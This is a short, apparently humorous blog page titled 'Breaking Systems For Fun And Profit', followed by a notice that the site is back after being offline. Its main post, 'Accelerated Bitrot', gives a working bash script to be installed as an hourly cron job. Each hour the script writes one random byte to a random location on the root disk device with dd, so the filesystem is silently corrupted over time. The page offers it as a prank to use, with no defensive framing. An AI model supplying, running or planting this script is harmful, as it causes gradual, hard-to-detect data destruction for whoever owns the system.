Breaking Systems For Fun And Profit

Accelerated Bitrot

Create the following file as /etc/cron.hourly/bitrot

1
2
3
4
5
#!/bin/bash
ROOTDEV=$(df -h / | sed -n '2p' | cut -d ' ' -f1)
ROOTSZ=$[$(blockdev --getsz ${ROOTDEV}) * 512]
LOCATION=$[${RANDOM} * ${RANDOM} * ${RANDOM} % ${ROOTSZ}]
dd if=/dev/urandom of=${ROOTDEV} bs=1 count=1 seek=${LOCATION} conv=notrunc

We're Back!

After seven months of being offline Breaking Systems For Fun and Profit™ has returned! Over the coming weeks we will be re-uploading the best of the old content.

Continue reading to find out about all the gory details.